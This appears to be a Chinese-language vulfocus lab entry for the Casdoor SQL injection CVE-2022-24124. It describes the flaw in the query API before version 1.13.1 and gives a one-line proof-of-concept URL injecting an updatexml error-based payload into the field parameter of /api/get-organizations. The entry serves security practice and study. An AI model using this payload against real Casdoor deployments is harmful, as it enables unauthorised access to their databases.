casdoor SQL注入（CVE-2022-24124）
| ID： | 16501 |
|---|---|
| 标题： | casdoor SQL注入（CVE-2022-24124） |
| 描述： | casdoor SQL注入（CVE-2022-24124） vulfocus/casdoor:1.13.0 Casdoor 是一个基于 OAuth 2.0 / OIDC 的 UI 优先集中认证 / 单点登录 (SSO) 平台，简单点说，就是 Casdoor 可以帮你解决 用户管理 的难题，你无需开发用户登录注册等与用户鉴权相关的一系列功能，只需几个步骤，简单配置，与你的主应用配合，便可完全托管你的用户模块，简单省心，功能强大。 Casdoor 1.13.1 之前的查询API 存在与字段和值参数相关的SQL 注入漏洞，如api/get-organizations 所示。 POC:/api/get-organizations?p=123&pageSize=123&value=cfx&sortField=&sortOrder=&field=updatexml(1,version(),3) |
| 类型： | WEB |
| 网站： | vulfocus |
| 题目链接： | https://vulfocus.cn |
| 赛事： | None |
| 年度： | None |
| Flag值： | None |
| writeup： | 登录 https://vulfocus.cn 搜索casdoor SQL注入（CVE-2022-24124） |